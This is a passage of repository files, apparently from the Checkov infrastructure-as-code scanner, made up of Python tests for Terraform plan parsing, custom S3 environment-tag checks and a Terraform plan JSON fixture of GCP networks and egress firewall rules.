]\n            }\n        ]\n        _handle_complex_after_unknown(key, resource, value)\n        assert resource[\"tags\"] == [value]\n\n    def test_handle_complex_after_unknown_with_empty_list(self):\n        resource = {\"network_configuration\": [\n            {\n                \"endpoint_configuration\": [\n                ]\n            }\n        ]}\n        key: str = 'network_configuration'\n        value = [{\"endpoint_configuration\": []}]\n        _handle_complex_after_unknown(key, resource, value)\n        assert resource == {'network_configuration': [{\"endpoint_configuration\": []}]}\n\n    def test_handle_complex_after_unknown_with_some_known_values(self):\n        original_resource = {\n            \"tags\": [\n                {\"tag1\": \"my_tag\"},\n                {\"tag2\": \"true\"},\n            ]\n        }\n        _update_after_unknown_in_complex_types(\"tags\", original_resource)\n        assert original_resource == {\n            \"tags\": [\n                {\"tag1\": \"my_tag\"},\n                {\"tag2\": [\"true_after_unknown\"]},\n            ]\n        }\n\n\n\n@pytest.mark.parametrize(\"inner_key, k, is_inner_list\", [\n    (\"endpoint_configuration\", \"network_configuration\", False),\n    (\"endpoint_configuration\", \"network_configuration\", True)\n])\ndef test_handle_complex_after_unknown(inner_key: str, k: str, is_inner_list: bool) -> None:\n    if is_inner_list:\n        # We cannot parametrize a dict object, so we use a boolean to decide which conf to use\n        resource_conf = {'network_configuration': [[{\"endpoint_configuration\": []}]]}\n    else:\n        resource_conf = {'network_configuration': [{\"endpoint_configuration\": []}]}\n    value = [{\"endpoint_configuration\": []}]\n    resource_conf_copy = copy.deepcopy(resource_conf)\n    _handle_complex_after_unknown(k, resource_conf, value)\n    assert resource_conf == resource_conf_copy\n\n\ndef test_large_file(mocker: MockerFixture):\n    # given\n    test_file = Path(__file__).parent / \"resources/plan_encodings/tfplan_mac_utf8.json\"\n\n    mocker.patch(\"checkov.cloudformation.parser.cfn_yaml.MAX_IAC_FILE_SIZE\", 1)\n\n    # when\n    tf_definition, _ = parse_tf_plan(str(test_file), {})\n\n    assert tf_definition['resource'][0]['aws_s3_bucket']['b']['start_line'][0] == 0\n    assert tf_definition['resource'][0]['aws_s3_bucket']['b']['end_line'][0] == 0\n\n    def test_vpc_endpoint_policy_is_parsed(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_vpc_endpoint/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        file_resource_definition = tf_definition['resource'][0]\n        resource_definition = next(iter(file_resource_definition.values()))\n        resource_attributes = next(iter(resource_definition.values()))\n        self.assertIn('policy', resource_attributes)\n        policy = resource_attributes['policy'][0]\n        self.assertIn('Statement', policy)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/runner/extra_checks/S3EnvironmentCheck.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass S3EnvironmentCheck(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure s3 has environment tag of development/staging/production\"\n        id = \"CUSTOM_AWS_1\"\n        supported_resources = ['aws_s3_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"tags\") and isinstance(conf['tags'][0], dict):\n            env = conf[\"tags\"][0].get(\"Environment\",{})\n            if env in [\"Development\",\"Staging\",\"Production\"]:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\nscanner = S3EnvironmentCheck()\n"
  },
  {
    "path": "tests/terraform/runner/extra_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/runner/extra_checks/nested/S3EnvironmentCheck2.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass S3EnvironmentCheck(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure s3 has environment tag of development/staging/production\"\n        id = \"CUSTOM_AWS_2\"\n        supported_resources = ['aws_s3_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"tags\") and isinstance(conf['tags'][0], dict):\n            env = conf[\"tags\"][0].get(\"Environment\",{})\n            if env in [\"Development\",\"Staging\",\"Production\"]:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\nscanner = S3EnvironmentCheck()\n"
  },
  {
    "path": "tests/terraform/runner/extra_checks/nested/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/runner/extra_tf_plan_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/runner/extra_tf_plan_checks/modules.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.13.7\",\n    \"planned_values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"google_compute_network.achia_test_nonpeered_network\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network\",\n            \"name\": \"achia_test_nonpeered_network\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"auto_create_subnetworks\": true,\n              \"delete_default_routes_on_create\": false,\n              \"description\": null,\n              \"name\": \"achia_test-nonpeered-network\",\n              \"timeouts\": null\n            }\n          },\n          {\n            \"address\": \"google_compute_network.achia_test_peered_nonwss_network\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network\",\n            \"name\": \"achia_test_peered_nonwss_network\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"auto_create_subnetworks\": true,\n              \"delete_default_routes_on_create\": false,\n              \"description\": null,\n              \"name\": \"achia_test-peered-nonwss-network\",\n              \"timeouts\": null\n            }\n          },\n          {\n            \"address\": \"google_compute_network.achia_test_peered_wss_network\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network\",\n            \"name\": \"achia_test_peered_wss_network\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"auto_create_subnetworks\": true,\n              \"delete_default_routes_on_create\": false,\n              \"description\": null,\n              \"name\": \"achia_test-peered-wss-network\",\n              \"timeouts\": null\n            }\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_from_nonwss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_from_nonwss\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"export_custom_routes\": false,\n              \"export_subnet_routes_with_public_ip\": true,\n              \"import_custom_routes\": false,\n              \"import_subnet_routes_with_public_ip\": null,\n              \"name\": \"fake-network-peering-from-nonwss\",\n              \"network\": \"https://www.achia.com11111\",\n              \"timeouts\": null\n            }\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_from_wss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_from_wss\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"export_custom_routes\": false,\n              \"export_subnet_routes_with_public_ip\": true,\n              \"import_custom_routes\": false,\n              \"import_subnet_routes_with_public_ip\": null,\n              \"name\": \"fake-network-peering-from-wss\",\n              \"network\": \"https://www.achia.com11111\",\n              \"timeouts\": null\n            }\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_to_nonwss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_to_nonwss\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"export_custom_routes\": false,\n              \"export_subnet_routes_with_public_ip\": true,\n              \"import_custom_routes\": false,\n              \"import_subnet_routes_with_public_ip\": null,\n              \"name\": \"fake-network-peering-to-nonwss\",\n              \"peer_network\": \"https://www.achia.com11111\",\n              \"timeouts\": null\n            }\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_to_wss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_to_wss\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"export_custom_routes\": false,\n              \"export_subnet_routes_with_public_ip\": true,\n              \"import_custom_routes\": false,\n              \"import_subnet_routes_with_public_ip\": null,\n              \"name\": \"fake-network-peering-to-wss\",\n              \"peer_network\": \"https://www.achia.com11111\",\n              \"timeouts\": null\n            }\n          }\n        ],\n        \"child_modules\": [\n          {\n            \"resources\": [\n              {\n                \"address\": \"module.achia_test_valid_443.google_compute_firewall.custom[0]\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"index\": 0,\n                \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n                \"schema_version\": 1,\n                \"values\": {\n                  \"allow\": [\n                    {\n                      \"ports\": [\n                        \"443\"\n                      ],\n                      \"protocol\": \"tcp\"\n                    }\n                  ],\n                  \"deny\": [],\n                  \"description\": \"gcp-wss-tcp-allow\",\n                  \"destination_ranges\": [\n                    \"0.0.0.0/0\"\n                  ],\n                  \"direction\": \"EGRESS\",\n                  \"disabled\": false,\n                  \"log_config\": [\n                    {\n                      \"metadata\": \"INCLUDE_ALL_METADATA\"\n                    }\n                  ],\n                  \"name\": \"egress-wss-valid-port443-allow\",\n                  \"network\": \"achia_test-peered-wss-network\",\n                  \"priority\": 1000,\n                  \"project\": \"fake-id\",\n                  \"source_service_accounts\": null,\n                  \"source_tags\": null,\n                  \"target_service_accounts\": null,\n                  \"target_tags\": null,\n                  \"timeouts\": null\n                }\n              }\n            ],\n            \"address\": \"module.achia_test_valid_443\"\n          },\n          {\n            \"resources\": [\n              {\n                \"address\": \"module.achia_test_valid_ports.google_compute_firewall.custom[0]\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"index\": 0,\n                \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n                \"schema_version\": 1,\n                \"values\": {\n                  \"allow\": [\n                    {\n                      \"ports\": [\n                        \"80\",\n                        \"443\"\n                      ],\n                      \"protocol\": \"tcp\"\n                    }\n                  ],\n                  \"deny\": [],\n                  \"description\": \"gcp-wss-tcp-allow\",\n                  \"destination_ranges\": [\n                    \"0.0.0.0/0\"\n                  ],\n                  \"direction\": \"EGRESS\",\n                  \"disabled\": false,\n                  \"log_config\": [\n                    {\n                      \"metadata\": \"INCLUDE_ALL_METADATA\"\n                    }\n                  ],\n                  \"name\": \"egress-wss-valid-port80and443-allow\",\n                  \"network\": \"achia_test-peered-wss-network\",\n                  \"priority\": 1000,\n                  \"project\": \"fake-id\",\n                  \"source_service_accounts\": null,\n                  \"source_tags\": null,\n                  \"target_service_accounts\": null,\n                  \"target_tags\": null,\n                  \"timeouts\": null\n                }\n              }\n            ],\n            \"address\": \"module.achia_test_valid_ports\"\n          },\n          {\n            \"resources\": [\n              {\n                \"address\": \"module.achia_test_violating_no_ports.google_compute_firewall.custom[0]\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"index\": 0,\n                \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n                \"schema_version\": 1,\n                \"values\": {\n                  \"allow\": [\n                    {\n                      \"ports\": [],\n                      \"protocol\": \"tcp\"\n                    }\n                  ],\n                  \"deny\": [],\n                  \"description\": \"gcp-wss-tcp-allow\",\n                  \"destination_ranges\": [\n                    \"0.0.0.0/0\"\n                  ],\n                  \"direction\": \"EGRESS\",\n                  \"disabled\": false,\n                  \"log_config\": [\n                    {\n                      \"metadata\": \"INCLUDE_ALL_METADATA\"\n                    }\n                  ],\n                  \"name\": \"egress-wss-all-ports-allow\",\n                  \"network\": \"achia_test-peered-wss-network\",\n                  \"priority\": 1000,\n                  \"project\": \"fake-id\",\n                  \"source_service_accounts\": null,\n                  \"source_tags\": null,\n                  \"target_service_accounts\": null,\n                  \"target_tags\": null,\n                  \"timeouts\": null\n                }\n              }\n            ],\n            \"address\": \"module.achia_test_violating_no_ports\"\n          },\n          {\n            \"resources\": [\n              {\n                \"address\": \"module.achia_test_violating_port.google_compute_firewall.custom[0]\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"index\": 0,\n                \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n                \"schema_version\": 1,\n                \"values\": {\n                  \"allow\": [\n                    {\n                      \"ports\": [\n                        \"80\",\n                        \"443\",\n                        \"3600\"\n                      ],\n                      \"protocol\": \"tcp\"\n                    }\n                  ],\n                  \"deny\": [],\n                  \"description\": \"gcp-wss-tcp-allow\",\n                  \"destination_ranges\": [\n                    \"0.0.0.0/0\"\n                  ],\n                  \"direction\": \"EGRESS\",\n                  \"disabled\": false,\n                  \"log_config\": [\n                    {\n                      \"metadata\": \"INCLUDE_ALL_METADATA\"\n                    }\n                  ],\n                  \"name\": \"egress-wss-violating-port3600-allow\",\n                  \"network\": \"achia_test-peered-wss-network\",\n                  \"priority\": 1000,\n                  \"project\": \"fake-id\",\n                  \"source_service_accounts\": null,\n                  \"source_tags\": null,\n                  \"target_service_accounts\": null,\n                  \"target_tags\": null,\n                  \"timeouts\": null\n                }\n              }\n            ],\n            \"address\": \"module.achia_test_violating_port\"\n          }\n        ]\n      }\n    },\n    \"resource_changes\": [\n      {\n        \"address\": \"google_compute_network.achia_test_nonpeered_network\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network\",\n        \"name\": \"achia_test_nonpeered_network\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"auto_create_subnetworks\": true,\n            \"delete_default_routes_on_create\": false,\n            \"description\": null,\n            \"name\": \"achia_test-nonpeered-network\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"gateway_ipv4\": true,\n            \"id\": true,\n            \"mtu\": true,\n            \"project\": true,\n            \"routing_mode\": true,\n            \"self_link\": true\n          }\n        }\n      },\n      {\n        \"address\": \"google_compute_network.achia_test_peered_nonwss_network\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network\",\n        \"name\": \"achia_test_peered_nonwss_network\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"auto_create_subnetworks\": true,\n            \"delete_default_routes_on_create\": false,\n            \"description\": null,\n            \"name\": \"achia_test-peered-nonwss-network\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"gateway_ipv4\": true,\n            \"id\": true,\n            \"mtu\": true,\n            \"project\": true,\n            \"routing_mode\": true,\n            \"self_link\": true\n          }\n        }\n      },\n      {\n        \"address\": \"google_compute_network.achia_test_peered_wss_network\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network\",\n        \"name\": \"achia_test_peered_wss_network\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"auto_create_subnetworks\": true,\n            \"delete_default_routes_on_create\": false,\n            \"description\": null,\n            \"name\": \"achia_test-peered-wss-network\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"gateway_ipv4\": true,\n            \"id\": true,\n            \"mtu\": true,\n            \"project\": true,\n            \"routing_mode\": true,\n            \"self_link\": true\n          }\n        }\n      },\n      {\n        \"address\": \"google_compute_network_peering.achia_test_network_peering_from_nonwss\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network_peering\",\n        \"name\": \"achia_test_network_peering_from_nonwss\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-from-nonwss\",\n            \"network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"id\": true,\n            \"peer_network\": true,\n            \"state\": true,\n            \"state_details\": true\n          }\n        }\n      },\n      {\n        \"address\": \"google_compute_network_peering.achia_test_network_peering_from_wss\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network_peering\",\n        \"name\": \"achia_test_network_peering_from_wss\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-from-wss\",\n            \"network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"id\": true,\n            \"peer_network\": true,\n            \"state\": true,\n            \"state_details\": true\n          }\n        }\n      },\n      {\n        \"address\": \"google_compute_network_peering.achia_test_network_peering_to_nonwss\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network_peering\",\n        \"name\": \"achia_test_network_peering_to_nonwss\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-to-nonwss\",\n            \"peer_network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"id\": true,\n            \"network\": true,\n            \"state\": true,\n            \"state_details\": true\n          }\n        }\n      },\n      {\n        \"address\": \"google_compute_network_peering.achia_test_network_peering_to_wss\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_network_peering\",\n        \"name\": \"achia_test_network_peering_to_wss\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-to-wss\",\n            \"peer_network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"id\": true,\n            \"network\": true,\n            \"state\": true,\n            \"state_details\": true\n          }\n        }\n      },\n      {\n        \"address\": \"module.achia_test_valid_443.google_compute_firewall.custom[0]\",\n        \"module_address\": \"module.achia_test_valid_443\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_firewall\",\n        \"name\": \"custom\",\n        \"index\": 0,\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"allow\": [\n              {\n                \"ports\": [\n                  \"443\"\n                ],\n                \"protocol\": \"tcp\"\n              }\n            ],\n            \"deny\": [],\n            \"description\": \"gcp-wss-tcp-allow\",\n            \"destination_ranges\": [\n              \"0.0.0.0/0\"\n            ],\n            \"direction\": \"EGRESS\",\n            \"disabled\": false,\n            \"log_config\": [\n              {\n                \"metadata\": \"INCLUDE_ALL_METADATA\"\n              }\n            ],\n            \"name\": \"egress-wss-valid-port443-allow\",\n            \"network\": \"achia_test-peered-wss-network\",\n            \"priority\": 1000,\n            \"project\": \"fake-id\",\n            \"source_service_accounts\": null,\n            \"source_tags\": null,\n            \"target_service_accounts\": null,\n            \"target_tags\": null,\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"allow\": [\n              {\n                \"ports\": [\n                  false\n                ]\n              }\n            ],\n            \"creation_timestamp\": true,\n            \"deny\": [],\n            \"destination_ranges\": [\n              false\n            ],\n            \"enable_logging\": true,\n            \"id\": true,\n            \"log_config\": [\n              {}\n            ],\n            \"self_link\": true,\n            \"source_ranges\": true\n          }\n        }\n      },\n      {\n        \"address\": \"module.achia_test_valid_ports.google_compute_firewall.custom[0]\",\n        \"module_address\": \"module.achia_test_valid_ports\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_firewall\",\n        \"name\": \"custom\",\n        \"index\": 0,\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"allow\": [\n              {\n                \"ports\": [\n                  \"80\",\n                  \"443\"\n                ],\n                \"protocol\": \"tcp\"\n              }\n            ],\n            \"deny\": [],\n            \"description\": \"gcp-wss-tcp-allow\",\n            \"destination_ranges\": [\n              \"0.0.0.0/0\"\n            ],\n            \"direction\": \"EGRESS\",\n            \"disabled\": false,\n            \"log_config\": [\n              {\n                \"metadata\": \"INCLUDE_ALL_METADATA\"\n              }\n            ],\n            \"name\": \"egress-wss-valid-port80and443-allow\",\n            \"network\": \"achia_test-peered-wss-network\",\n            \"priority\": 1000,\n            \"project\": \"fake-id\",\n            \"source_service_accounts\": null,\n            \"source_tags\": null,\n            \"target_service_accounts\": null,\n            \"target_tags\": null,\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"allow\": [\n              {\n                \"ports\": [\n                  false,\n                  false\n                ]\n              }\n            ],\n            \"creation_timestamp\": true,\n            \"deny\": [],\n            \"destination_ranges\": [\n              false\n            ],\n            \"enable_logging\": true,\n            \"id\": true,\n            \"log_config\": [\n              {}\n            ],\n            \"self_link\": true,\n            \"source_ranges\": true\n          }\n        }\n      },\n      {\n        \"address\": \"module.achia_test_violating_no_ports.google_compute_firewall.custom[0]\",\n        \"module_address\": \"module.achia_test_violating_no_ports\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_firewall\",\n        \"name\": \"custom\",\n        \"index\": 0,\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"allow\": [\n              {\n                \"ports\": [],\n                \"protocol\": \"tcp\"\n              }\n            ],\n            \"deny\": [],\n            \"description\": \"gcp-wss-tcp-allow\",\n            \"destination_ranges\": [\n              \"0.0.0.0/0\"\n            ],\n            \"direction\": \"EGRESS\",\n            \"disabled\": false,\n            \"log_config\": [\n              {\n                \"metadata\": \"INCLUDE_ALL_METADATA\"\n              }\n            ],\n            \"name\": \"egress-wss-all-ports-allow\",\n            \"network\": \"achia_test-peered-wss-network\",\n            \"priority\": 1000,\n            \"project\": \"fake-id\",\n            \"source_service_accounts\": null,\n            \"source_tags\": null,\n            \"target_service_accounts\": null,\n            \"target_tags\": null,\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"allow\": [\n              {\n                \"ports\": []\n              }\n            ],\n            \"creation_timestamp\": true,\n            \"deny\": [],\n            \"destination_ranges\": [\n              false\n            ],\n            \"enable_logging\": true,\n            \"id\": true,\n            \"log_config\": [\n              {}\n            ],\n            \"self_link\": true,\n            \"source_ranges\": true\n          }\n        }\n      },\n      {\n        \"address\": \"module.achia_test_violating_port.google_compute_firewall.custom[0]\",\n        \"module_address\": \"module.achia_test_violating_port\",\n        \"mode\": \"managed\",\n        \"type\": \"google_compute_firewall\",\n        \"name\": \"custom\",\n        \"index\": 0,\n        \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"allow\": [\n              {\n                \"ports\": [\n                  \"80\",\n                  \"443\",\n                  \"3600\"\n                ],\n                \"protocol\": \"tcp\"\n              }\n            ],\n            \"deny\": [],\n            \"description\": \"gcp-wss-tcp-allow\",\n            \"destination_ranges\": [\n              \"0.0.0.0/0\"\n            ],\n            \"direction\": \"EGRESS\",\n            \"disabled\": false,\n            \"log_config\": [\n              {\n                \"metadata\": \"INCLUDE_ALL_METADATA\"\n              }\n            ],\n            \"name\": \"egress-wss-violating-port3600-allow\",\n            \"network\": \"achia_test-peered-wss-network\",\n            \"priority\": 1000,\n            \"project\": \"fake-id\",\n            \"source_service_accounts\": null,\n            \"source_tags\": null,\n            \"target_service_accounts\": null,\n            \"target_tags\": null,\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"allow\": [\n              {\n                \"ports\": [\n                  false,\n                  false,\n                  false\n                ]\n              }\n            ],\n            \"creation_timestamp\": true,\n            \"deny\": [],\n            \"destination_ranges\": [\n              false\n            ],\n            \"enable_logging\": true,\n            \"id\": true,\n            \"log_config\": [\n              {}\n            ],\n            \"self_link\": true,\n            \"source_ranges\": true\n          }\n        }\n      }\n    ],\n    \"configuration\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"google_compute_network.achia_test_nonpeered_network\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network\",\n            \"name\": \"achia_test_nonpeered_network\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"achia_test-nonpeered-network\"\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"google_compute_network.achia_test_peered_nonwss_network\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network\",\n            \"name\": \"achia_test_peered_nonwss_network\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"achia_test-peered-nonwss-network\"\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"google_compute_network.achia_test_peered_wss_network\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network\",\n            \"name\": \"achia_test_peered_wss_network\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"achia_test-peered-wss-network\"\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_from_nonwss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_from_nonwss\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"fake-network-peering-from-nonwss\"\n              },\n              \"network\": {\n                \"constant_value\": \"https://www.achia.com11111\"\n              },\n              \"peer_network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_nonwss_network\"\n                ]\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_from_wss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_from_wss\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"fake-network-peering-from-wss\"\n              },\n              \"network\": {\n                \"constant_value\": \"https://www.achia.com11111\"\n              },\n              \"peer_network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_wss_network\"\n                ]\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_to_nonwss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_to_nonwss\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"fake-network-peering-to-nonwss\"\n              },\n              \"network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_nonwss_network\"\n                ]\n              },\n              \"peer_network\": {\n                \"constant_value\": \"https://www.achia.com11111\"\n              }\n            },\n            \"schema_version\": 0\n          },\n          {\n            \"address\": \"google_compute_network_peering.achia_test_network_peering_to_wss\",\n            \"mode\": \"managed\",\n            \"type\": \"google_compute_network_peering\",\n            \"name\": \"achia_test_network_peering_to_wss\",\n            \"provider_config_key\": \"google\",\n            \"expressions\": {\n              \"name\": {\n                \"constant_value\": \"fake-network-peering-to-wss\"\n              },\n              \"network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_wss_network\"\n                ]\n              },\n              \"peer_network\": {\n                \"constant_value\": \"https://www.achia.com11111\"\n              }\n            },\n            \"schema_version\": 0\n          }\n        ],\n        \"module_calls\": {\n          \"achia_test_valid_443\": {\n            \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n            \"expressions\": {\n              \"action\": {\n                \"constant_value\": \"allow\"\n              },\n              \"description\": {\n                \"constant_value\": \"gcp-wss-tcp-allow\"\n              },\n              \"direction\": {\n                \"constant_value\": \"EGRESS\"\n              },\n              \"extra_attributes\": {\n                \"constant_value\": {\n                  \"enable_logging\": true,\n                  \"priority\": 1000\n                }\n              },\n              \"fw_destination\": {\n                \"constant_value\": \"wss\"\n              },\n              \"fw_purpose\": {\n                \"constant_value\": \"valid-port443\"\n              },\n              \"fw_source\": {\n                \"constant_value\": \"egress\"\n              },\n              \"network\": {\n                \"references\": [\n                  \"google_compute_network.achia_test_peered_wss_network\"\n                ]\n              },\n              \"project_id\": {\n                \"constant_value\": \"fake-id\"\n              },\n              \"ranges\": {\n                \"constant_value\": [\n                  \"0.0.0.0/0\"\n                ]\n              },\n              \"rules\": {\n                \"constant_value\": [\n                  {\n                    \"ports\": [\n                      443\n   